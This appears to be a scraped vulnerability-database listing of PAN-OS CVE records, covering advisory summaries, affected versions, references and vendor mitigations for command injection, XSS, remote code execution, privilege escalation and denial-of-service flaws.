Palo Alto Networks PAN-OS Patch: 8.1.18
Patch: 9.0.12
Patch: 9.1.5
Show details on NVD website


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cve-2016-3654
Vulnerability from cvelistv5
Published
2016-04-12 17:00
Modified
2024-08-06 00:03
Severity ?
Summary
The device management command line interface (CLI) in Palo Alto Networks PAN-OS before 5.0.18, 5.1.x before 5.1.11, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5H2 allows remote authenticated administrators to execute arbitrary OS commands via an SSH command parameter.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3063
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-16 20:26
Summary
An improper handling of exceptional conditions vulnerability exists in Palo Alto Networks GlobalProtect portal and gateway interfaces that enables an unauthenticated network-based attacker to send specifically crafted traffic to a GlobalProtect interface that causes the service to stop responding. Repeated attempts to send this request result in denial of service to all PAN-OS services by restarting the device and putting it into maintenance mode. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.21; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h4; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h3; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8-h4; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. Prisma Access customers are not impacted by this issue.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Show details on NVD website


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    "dateUpdated": "2024-09-16T20:26:42.141Z",
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cve-2021-3062
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-17 02:42
Summary
An improper access control vulnerability in PAN-OS software enables an attacker with authenticated access to GlobalProtect portals and gateways to connect to the EC2 instance metadata endpoint for VM-Series firewalls hosted on Amazon AWS. Exploitation of this vulnerability enables an attacker to perform any operations allowed by the EC2 role in AWS. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20 VM-Series firewalls; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11 VM-Series firewalls; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14 VM-Series firewalls; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8 VM-Series firewalls. Prisma Access customers are not impacted by this issue.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Show details on NVD website


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          "PAN-OS 8.1.18",
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          "PAN-OS 8.1.16",
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          "PAN-OS 8.1.15-h1",
          "PAN-OS 8.1.15",
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    "dateUpdated": "2024-09-17T02:42:53.011Z",
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cve-2016-2219
Vulnerability from cvelistv5
Published
2016-07-12 19:00
Modified
2024-08-05 23:24
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the management interface in Palo Alto Networks PAN-OS 7.x before 7.0.8 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
References
http://www.securitytracker.com/id/1036192vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2016-2219x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2022-0028
Vulnerability from cvelistv5
Published
2022-08-10 16:00
Modified
2024-09-16 23:56
Summary
A PAN-OS URL filtering policy misconfiguration could allow a network-based attacker to conduct reflected and amplified TCP denial-of-service (RDoS) attacks. The DoS attack would appear to originate from a Palo Alto Networks PA-Series (hardware), VM-Series (virtual) and CN-Series (container) firewall against an attacker-specified target. To be misused by an external attacker, the firewall configuration must have a URL filtering profile with one or more blocked categories assigned to a source zone that has an external facing interface. This configuration is not typical for URL filtering and, if set, is likely unintended by the administrator. If exploited, this issue would not impact the confidentiality, integrity, or availability of our products. However, the resulting denial-of-service (DoS) attack may help obfuscate the identity of the attacker and implicate the firewall as the source of the attack. We have taken prompt action to address this issue in our PAN-OS software. All software updates for this issue are expected to be released no later than the week of August 15, 2022. This issue does not impact Panorama M-Series or Panorama virtual appliances. This issue has been resolved for all Cloud NGFW and Prisma Access customers and no additional action is required from them.
References
Impacted products
Vendor Product Version
Palo Alto Networks PAN-OS Version: 8.1   < 8.1.23-h1
Version: 9.0   < 9.0.16-h3
Version: 9.1   < 9.1.14-h4
Version: 10.0   < 10.0.11-h1
Version: 10.1   < 10.1.6-h6
Version: 10.2   < 10.2.2-h2
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2016-9151
Vulnerability from cvelistv5
Published
2016-11-19 06:29
Modified
2024-08-06 02:42
Severity ?
Summary
Palo Alto Networks PAN-OS before 5.0.20, 5.1.x before 5.1.13, 6.0.x before 6.0.15, 6.1.x before 6.1.15, 7.0.x before 7.0.11, and 7.1.x before 7.1.6 allows local users to gain privileges via crafted values of unspecified environment variables.
References
https://www.exploit-db.com/exploits/40789/exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40788/exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/94400vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037381vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2016-9151x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3056
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-16 20:36
Summary
A memory corruption vulnerability in Palo Alto Networks PAN-OS GlobalProtect Clientless VPN enables an authenticated attacker to execute arbitrary code with root user privileges during SAML authentication. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1. Prisma Access customers with Prisma Access 2.1 Preferred firewalls are impacted by this issue.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access Version: 2.1 Preferred
Show details on NVD website


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cve-2020-2037
Vulnerability from cvelistv5
Published
2020-09-09 16:45
Modified
2024-09-16 19:15
Summary
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.3.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2018-9242
Vulnerability from cvelistv5
Published
2018-07-03 21:00
Modified
2024-08-05 07:17
Severity ?
Summary
The PAN-OS management web interface page in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.9 and earlier may allow an attacker to delete files in the system via specific request parameters.
References
http://www.securitytracker.com/id/1041242vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/104676vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2018-9242x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-0010
Vulnerability from cvelistv5
Published
2024-02-14 17:32
Modified
2024-08-01 17:41
Summary
A reflected cross-site scripting (XSS) vulnerability in the GlobalProtect portal feature of Palo Alto Networks PAN-OS software enables execution of malicious JavaScript (in the context of a user’s browser) if a user clicks on a malicious link, allowing phishing attacks that could lead to credential theft.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2012-6599
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 and 4.1.x before 4.1.1 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 33476.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3050
Vulnerability from cvelistv5
Published
2021-08-11 17:10
Modified
2024-09-16 22:51
Summary
An OS command injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 9.0 version 9.0.10 through PAN-OS 9.0.14; PAN-OS 9.1 version 9.1.4 through PAN-OS 9.1.10; PAN-OS 10.0 version 10.0.7 and earlier PAN-OS 10.0 versions; PAN-OS 10.1 version 10.1.0 through PAN-OS 10.1.1. Prisma Access firewalls and firewalls running PAN-OS 8.1 versions are not impacted by this issue.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-17440
Vulnerability from cvelistv5
Published
2019-12-20 15:22
Modified
2024-09-17 01:56
Severity ?
Summary
Improper restriction of communications to Log Forwarding Card (LFC) on PA-7000 Series devices with second-generation Switch Management Card (SMC) may allow an attacker with network access to the LFC to gain root access to PAN-OS. This issue affects PAN-OS 9.0 versions prior to 9.0.5-h3 on PA-7080 and PA-7050 devices with an LFC installed and configured. This issue does not affect PA-7000 Series deployments using the first-generation SMC and the Log Processing Card (LPC). This issue does not affect any other PA series devices. This issue does not affect devices without an LFC. This issue does not affect PAN-OS 8.1 or prior releases. This issue only affected a very limited number of customers and we undertook individual outreach to help them upgrade. At the time of publication, all identified customers have upgraded SW or content and are not impacted.
References
Impacted products
Vendor Product Version
Palo Alto Networks PAN-OS
Show details on NVD website


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cve-2016-3657
Vulnerability from cvelistv5
Published
2016-04-12 17:00
Modified
2024-08-06 00:03
Severity ?
Summary
Buffer overflow in the GlobalProtect Portal in Palo Alto Networks PAN-OS before 5.0.18, 6.0.x before 6.0.13, 6.1.x before 6.1.10, and 7.0.x before 7.0.5 allows remote attackers to cause a denial of service (device crash) or possibly execute arbitrary code via an SSL VPN request.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-9474
Vulnerability from cvelistv5
Published
2024-11-18 15:48
Modified
2024-11-29 16:10
Summary
A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted by this vulnerability.
References
Impacted products
Vendor Product Version
Palo Alto Networks PAN-OS Version: 11.2.0   < 11.2.4-h1
Version: 11.1.0   < 11.1.5-h1
Version: 11.0.0   < 11.0.6-h1
Version: 10.2.0   < 10.2.12-h2
Version: 10.1.0   < 10.1.14-h6
Palo Alto Networks Prisma Access
Show details on NVD website


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          "value": "The risk is greatest if you configure the management interface to enable access from the internet or any untrusted network either:\n\n  *  Directly\nor\n  *  Through a dataplane interface that includes a management interface profile.\nThe risk is greatly reduced if you make sure that only trusted internal IP addresses are allowed to access the management interface.\n\nUse the following steps to identify your recently detected devices in our Internet scans:\n\n  *  To find your known assets that require remediation action, visit the Assets section of Customer Support Portal at  https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n  *  The list of your known devices with an internet-facing management interface discovered in our scans are tagged with PAN-SA-2024-0015 with a last seen timestamp in UTC. If no such devices are listed, it indicates our scan did not find any devices with internet-facing management interface for your account in the last three days."
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cve-2019-17437
Vulnerability from cvelistv5
Published
2019-12-05 14:11
Modified
2024-09-17 04:10
Summary
An improper authentication check in Palo Alto Networks PAN-OS may allow an authenticated low privileged non-superuser custom role user to elevate privileges and become superuser. This issue affects PAN-OS 7.1 versions prior to 7.1.25; 8.0 versions prior to 8.0.20; 8.1 versions prior to 8.1.11; 9.0 versions prior to 9.0.5. PAN-OS version 7.0 and prior EOL versions have not been evaluated for this issue.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2016
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 23:31
Summary
A race condition due to insecure creation of a file in a temporary directory vulnerability in PAN-OS allows for root privilege escalation from a limited linux user account. This allows an attacker who has escaped the restricted shell as a low privilege administrator, possibly by exploiting another vulnerability, to escalate privileges to become root user. This issue affects: PAN-OS 7.1 versions earlier than 7.1.26; PAN-OS 8.1 versions earlier than 8.1.13; PAN-OS 9.0 versions earlier than 9.0.6; All versions of PAN-OS 8.0.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2030
Vulnerability from cvelistv5
Published
2020-07-08 16:35
Modified
2024-09-17 02:10
Summary
An OS Command Injection vulnerability in the PAN-OS management interface that allows authenticated administrators to execute arbitrary OS commands with root privileges. This issue impacts PAN-OS 8.1 versions earlier than PAN-OS 8.1.15; and all versions of PAN-OS 7.1 and PAN-OS 8.0. This issue does not impact PAN-OS 9.0, PAN-OS 9.1, or Prisma Access services.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1996
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 02:20
Summary
A missing authorization vulnerability in the management server component of PAN-OS Panorama allows a remote unauthenticated user to inject messages into the management server ms.log file. This vulnerability can be leveraged to obfuscate an ongoing attack or fabricate log entries in the ms.log file This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14; PAN-OS 9.0 versions earlier than 9.0.9.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2029
Vulnerability from cvelistv5
Published
2020-06-10 17:28
Modified
2024-09-16 16:52
Summary
An OS Command Injection vulnerability in the PAN-OS web management interface allows authenticated administrators to execute arbitrary OS commands with root privileges by sending a malicious request to generate new certificates for use in the PAN-OS configuration. This issue affects: All versions of PAN-OS 8.0; PAN-OS 7.1 versions earlier than PAN-OS 7.1.26; PAN-OS 8.1 versions earlier than PAN-OS 8.1.13.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-8691
Vulnerability from cvelistv5
Published
2024-09-11 16:43
Modified
2024-09-11 18:19
Summary
A vulnerability in the GlobalProtect portal in Palo Alto Networks PAN-OS software enables a malicious authenticated GlobalProtect user to impersonate another GlobalProtect user. Active GlobalProtect users impersonated by an attacker who is exploiting this vulnerability are disconnected from GlobalProtect. Upon exploitation, PAN-OS logs indicate that the impersonated user authenticated to GlobalProtect, which hides the identity of the attacker.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2022-0024
Vulnerability from cvelistv5
Published
2022-05-11 16:30
Modified
2024-09-17 02:21
Summary
A vulnerability exists in Palo Alto Networks PAN-OS software that enables an authenticated network-based PAN-OS administrator to upload a specifically created configuration that disrupts system processes and potentially execute arbitrary code with root privileges when the configuration is committed on both hardware and virtual firewalls. This issue does not impact Panorama appliances or Prisma Access customers. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.23; PAN-OS 9.0 versions earlier than PAN-OS 9.0.16; PAN-OS 9.1 versions earlier than PAN-OS 9.1.13; PAN-OS 10.0 versions earlier than PAN-OS 10.0.10; PAN-OS 10.1 versions earlier than PAN-OS 10.1.5.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-15944
Vulnerability from cvelistv5
Published
2017-12-11 17:00
Modified
2024-08-05 20:13
Severity ?
Summary
Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.
References
https://www.exploit-db.com/exploits/44597/exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040007vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/102079vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43342/exploit, x_refsource_EXPLOIT-DB
https://security.paloaltonetworks.com/CVE-2017-15944x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2022-0023
Vulnerability from cvelistv5
Published
2022-04-13 18:35
Modified
2024-09-16 19:05
Summary
An improper handling of exceptional conditions vulnerability exists in the DNS proxy feature of Palo Alto Networks PAN-OS software that enables a meddler-in-the-middle (MITM) to send specifically crafted traffic to the firewall that causes the service to restart unexpectedly. Repeated attempts to send this request result in denial-of-service to all PAN-OS services by restarting the device in maintenance mode. This issue does not impact Panorama appliances and Prisma Access customers. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.22; PAN-OS 9.0 versions earlier than PAN-OS 9.0.16; PAN-OS 9.1 versions earlier than PAN-OS 9.1.13; PAN-OS 10.0 versions earlier than PAN-OS 10.0.10; PAN-OS 10.1 versions earlier than PAN-OS 10.1.5. This issue does not impact PAN-OS 10.2.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2024-0009
Vulnerability from cvelistv5
Published
2024-02-14 17:32
Modified
2024-08-01 17:41
Summary
An improper verification vulnerability in the GlobalProtect gateway feature of Palo Alto Networks PAN-OS software enables a malicious user with stolen credentials to establish a VPN connection from an unauthorized IP address.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2020-2003
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 23:05
Summary
An external control of filename vulnerability in the command processing of PAN-OS allows an authenticated administrator to delete arbitrary system files affecting the integrity of the system or causing denial of service to all PAN-OS services. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions before 8.1.14; PAN-OS 9.0 versions before 9.0.7; PAN-OS 9.1 versions before 9.1.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3048
Vulnerability from cvelistv5
Published
2021-08-11 17:10
Modified
2024-09-16 19:31
Summary
Certain invalid URL entries contained in an External Dynamic List (EDL) cause the Device Server daemon (devsrvr) to stop responding. This condition causes subsequent commits on the firewall to fail and prevents administrators from performing commits and configuration changes even though the firewall remains otherwise functional. If the firewall then restarts, it results in a denial-of-service (DoS) condition and the firewall stops processing traffic. This issue impacts: PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.9; PAN-OS 10.0 versions earlier than PAN-OS 10.0.5. PAN-OS 8.1 and PAN-OS 10.1 versions are not impacted.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1579
Vulnerability from cvelistv5
Published
2019-07-19 21:12
Modified
2024-08-04 18:20
Severity ?
Summary
Remote Code Execution in PAN-OS 7.1.18 and earlier, PAN-OS 8.0.11-h1 and earlier, and PAN-OS 8.1.2 and earlier with GlobalProtect Portal or GlobalProtect Gateway Interface enabled may allow an unauthenticated remote attacker to execute arbitrary code.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-6791
Vulnerability from cvelistv5
Published
2023-12-13 18:30
Modified
2024-08-02 08:42
Summary
A credential disclosure vulnerability in Palo Alto Networks PAN-OS software enables an authenticated read-only administrator to obtain the plaintext credentials of stored external system integrations such as LDAP, SCP, RADIUS, TACACS+, and SNMP from the web interface.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2017-12416
Vulnerability from cvelistv5
Published
2017-09-07 13:00
Modified
2024-08-05 18:36
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the GlobalProtect internal and external gateway interface in Palo Alto Networks PAN-OS before 6.1.18, 7.0.x before 7.0.17, 7.1.x before 7.1.12, and 8.0.x before 8.0.3 allows remote attackers to inject arbitrary web script or HTML via vectors related to improper request parameter validation.
References
http://www.securitytracker.com/id/1039255vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/100619vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-12416x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6592
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.5 allows remote attackers to execute arbitrary commands via unspecified vectors, aka Ref ID 31091.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6593
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
Palo Alto Networks PAN-OS before 3.1.10 and 4.0.x before 4.0.4 allows remote attackers to execute arbitrary commands via unspecified vectors, aka Ref ID 30088.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2015-6531
Vulnerability from cvelistv5
Published
2017-06-01 16:00
Modified
2024-08-06 07:22
Severity ?
Summary
Palo Alto Networks Panorama VM Appliance with PAN-OS before 6.0.1 might allow remote attackers to execute arbitrary Python code via a crafted firmware image file.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2013-5664
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 17:15
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the web-based device-management API browser in Palo Alto Networks PAN-OS before 4.1.13 and 5.0.x before 5.0.6 allows remote attackers to inject arbitrary web script or HTML via crafted data, aka Ref ID 50908.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2018-9334
Vulnerability from cvelistv5
Published
2018-07-03 21:00
Modified
2024-08-05 07:17
Severity ?
Summary
The PAN-OS management web interface page in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.8 and earlier, and PAN-OS 8.1.0 may allow an attacker to access the GlobalProtect password hashes of local users via manipulation of the HTML markup.
References
http://www.securitytracker.com/id/1041243vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/104677vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2018-9334x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2027
Vulnerability from cvelistv5
Published
2020-06-10 17:28
Modified
2024-09-17 03:17
Summary
A buffer overflow vulnerability in the authd component of the PAN-OS management server allows authenticated administrators to disrupt system processes and potentially execute arbitrary code with root privileges. This issue affects: All versions of PAN-OS 7.1 and PAN-OS 8.0; PAN-OS 8.1 versions earlier than PAN-OS 8.1.13; PAN-OS 9.0 versions earlier than PAN-OS 9.0.7.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-15940
Vulnerability from cvelistv5
Published
2017-12-11 17:00
Modified
2024-08-05 20:13
Severity ?
Summary
The web interface packet capture management component in Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote authenticated users to execute arbitrary code via unspecified vectors.
References
http://www.securitytracker.com/id/1040006vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/102076vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-15940x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3037
Vulnerability from cvelistv5
Published
2021-04-20 03:15
Modified
2024-09-16 23:51
Summary
An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where the connection details for a scheduled configuration export are logged in system logs. Logged information includes the cleartext username, password, and IP address used to export the PAN-OS configuration to the destination server.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3064
Vulnerability from cvelistv5
Published
2021-11-10 17:10
Modified
2024-09-17 03:28
Severity ?
Summary
A memory corruption vulnerability exists in Palo Alto Networks GlobalProtect portal and gateway interfaces that enables an unauthenticated network-based attacker to disrupt system processes and potentially execute arbitrary code with root privileges. The attacker must have network access to the GlobalProtect interface to exploit this issue. This issue impacts PAN-OS 8.1 versions earlier than PAN-OS 8.1.17. Prisma Access customers are not impacted by this issue.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2020-2050
Vulnerability from cvelistv5
Published
2020-11-12 00:05
Modified
2024-09-17 00:11
Summary
An authentication bypass vulnerability exists in the GlobalProtect SSL VPN component of Palo Alto Networks PAN-OS software that allows an attacker to bypass all client certificate checks with an invalid certificate. A remote attacker can successfully authenticate as any user and gain access to restricted VPN network resources when the gateway or portal is configured to rely entirely on certificate-based authentication. Impacted features that use SSL VPN with client certificate verification are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN In configurations where client certificate verification is used in conjunction with other authentication methods, the protections added by the certificate check are ignored as a result of this issue. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.17; PAN-OS 9.0 versions earlier than PAN-OS 9.0.11; PAN-OS 9.1 versions earlier than PAN-OS 9.1.5; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2018-9335
Vulnerability from cvelistv5
Published
2018-07-03 21:00
Modified
2024-08-05 07:17
Severity ?
Summary
The PAN-OS session browser in PAN-OS 6.1.20 and earlier, PAN-OS 7.1.16 and earlier, PAN-OS 8.0.9 and earlier, and PAN-OS 8.1.1 and earlier may allow an attacker to inject arbitrary JavaScript or HTML.
References
http://www.securityfocus.com/bid/104658vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1041241vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2018-9335x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2021
Vulnerability from cvelistv5
Published
2020-06-29 15:10
Modified
2024-09-16 20:58
Severity ?
Summary
When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.
References
Impacted products
Vendor Product Version
Show details on NVD website


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            "value": "Using a different authentication method and disabling SAML authentication will completely mitigate the issue.\nUntil an upgrade can be performed, applying both these mitigations (a) and (b) eliminates the configuration required for exposure to this vulnerability:\n\n(a) Ensure that the \u0027Identity Provider Certificate\u0027 is configured. Configuring the \u0027Identity Provider Certificate\u0027 is an essential part of a secure SAML authentication configuration.\n\n(b) If the identity provider (IdP) certificate is a certificate authority (CA) signed certificate, then ensure that the \u0027Validate Identity Provider Certificate\u0027 option is enabled in the SAML Identity Provider Server Profile. Many popular IdPs  generate self-signed IdP certificates by default and the \u0027Validate Identity Provider Certificate\u0027 option cannot be enabled. Additional steps may be required to use a certificate signed by a CA. This certificate can be signed by an internal enterprise CA, the CA on the PAN-OS, or a public CA. Instructions to configure a CA-issued certificate on IdPs are available at https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u0000008UXP.\n\nUpgrading to a fixed version of PAN-OS software prevents any future configuration changes related to SAML that inadvertently expose protected services to attacks."
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cve-2020-2035
Vulnerability from cvelistv5
Published
2020-08-12 17:05
Modified
2024-09-17 04:10
Summary
When SSL/TLS Forward Proxy Decryption mode has been configured to decrypt the web transactions, the PAN-OS URL filtering feature inspects the HTTP Host and URL path headers for policy enforcement on the decrypted HTTPS web transactions but does not consider Server Name Indication (SNI) field within the TLS Client Hello handshake. This allows a compromised host in a protected network to evade any security policy that uses URL filtering on a firewall configured with SSL Decryption in the Forward Proxy mode. A malicious actor can then use this technique to evade detection of communication on the TLS handshake phase between a compromised host and a remote malicious server. This technique does not increase the risk of a host being compromised in the network. It does not impact the confidentiality or availability of a firewall. This is considered to have a low impact on the integrity of the firewall because the firewall fails to enforce a policy on certain traffic that should have been blocked. This issue does not impact the URL filtering policy enforcement on clear text or encrypted web transactions. This technique can be used only after a malicious actor has compromised a host in the protected network and the TLS/SSL Decryption feature is enabled for the traffic that the attacker controls. Palo Alto Networks is not aware of any malware that uses this technique to exfiltrate data. This issue is applicable to all current versions of PAN-OS. This issue does not impact Panorama or WF-500 appliances.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-7217
Vulnerability from cvelistv5
Published
2017-04-14 14:00
Modified
2024-08-05 15:56
Severity ?
Summary
The Management Web Interface in Palo Alto Networks PAN-OS before 7.0.14 and 7.1.x before 7.1.9 allows remote attackers to write to export files via unspecified parameters.
References
http://www.securitytracker.com/id/1038247vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/97598vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-7217x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2012
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-17 04:24
Summary
Improper restriction of XML external entity reference ('XXE') vulnerability in Palo Alto Networks Panorama management service allows remote unauthenticated attackers with network access to the Panorama management interface to read arbitrary files on the system. This issue affects: All versions of PAN-OS for Panorama 7.1 and 8.0; PAN-OS for Panorama 8.1 versions earlier than 8.1.13; PAN-OS for Panorama 9.0 versions earlier than 9.0.7.
References
Impacted products
